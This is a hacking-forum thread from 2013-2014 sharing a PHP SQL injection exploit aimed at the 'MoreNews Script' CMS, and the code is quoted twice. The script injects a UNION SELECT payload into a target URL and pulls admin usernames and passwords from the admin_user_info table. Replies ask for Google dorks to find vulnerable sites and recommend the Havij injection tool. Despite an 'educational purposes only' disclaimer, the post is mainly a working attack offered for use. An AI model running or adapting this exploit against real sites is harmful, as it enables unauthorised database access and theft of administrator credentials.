RE: SQL Injection Exploit [PHP] 01-23-2014, 03:50 PM
#11
simple and useful
| SQL Injection Exploit [PHP] filter_list | |
(01-23-2014, 06:47 PM)commander Wrote: is there any google dork to find out sites with this vulnerability...
(03-17-2014, 04:52 AM)louis99 Wrote: i suggest use sqli tool, like havij, because not all website use the 2 columns to save username and password.(F.Y.I)
(07-03-2013, 08:32 AM)RootTheSystem Wrote: Hello HC,
I made an SQL Injection exploit in PHP (for educational purposes only).
This is an example of how a remote exploit works.
Vulnerability was belong to "MoreNews Script" but It's patched now so use it for just educational purposes.
Usage:
Code:http://localhost/script.php?web=http://targetsite.com/page.php?param=
Sauce:
PHP Code:<?php error_reporting(0); print "<h2>HackCommunity SQL Injection Exploit</h2>"; if(!empty($_GET['web'])){ print "<b>Scanning the vulnerability...</b><br>________________________________<br>"; $injquery = "null%20UNION%20SELECT%20concat_ws(0x3c68633e%2Cusername%2C0x3a%2C0x3a%2Cuserpass%2C0x3c2f68633e)%20from%20admin_user_info"; $source = file_get_contents($_GET['web'] . $injquery); if(strstr($source, "<hc>")){ $info = substr($source, strrpos($source, '<hc>'), strpos($source, '</hc>') - strrpos($source, '<hc>')); print "Vulnerability Exploit Successfull!<br> <br>Result => $info"; }else{ print "Vulnerability Not Avaible For This Website..<br>"; } }else{ print "Please Enter an URL (ex: http://site.com/page.php?parameter= )<br>"; } ?>
Image:
Au Revoir..
(05-28-2014, 07:53 PM)BlueCat Wrote:(07-03-2013, 08:32 AM)RootTheSystem Wrote: Hello HC,
I made an SQL Injection exploit in PHP (for educational purposes only).
This is an example of how a remote exploit works.
Vulnerability was belong to "MoreNews Script" but It's patched now so use it for just educational purposes.
Usage:
Code:http://localhost/script.php?web=http://targetsite.com/page.php?param=
Sauce:
PHP Code:<?php error_reporting(0); print "<h2>HackCommunity SQL Injection Exploit</h2>"; if(!empty($_GET['web'])){ print "<b>Scanning the vulnerability...</b><br>________________________________<br>"; $injquery = "null%20UNION%20SELECT%20concat_ws(0x3c68633e%2Cusername%2C0x3a%2C0x3a%2Cuserpass%2C0x3c2f68633e)%20from%20admin_user_info"; $source = file_get_contents($_GET['web'] . $injquery); if(strstr($source, "<hc>")){ $info = substr($source, strrpos($source, '<hc>'), strpos($source, '</hc>') - strrpos($source, '<hc>')); print "Vulnerability Exploit Successfull!<br> <br>Result => $info"; }else{ print "Vulnerability Not Avaible For This Website..<br>"; } }else{ print "Please Enter an URL (ex: http://site.com/page.php?parameter= )<br>"; } ?>
Image:
Au Revoir..
Kinda confused.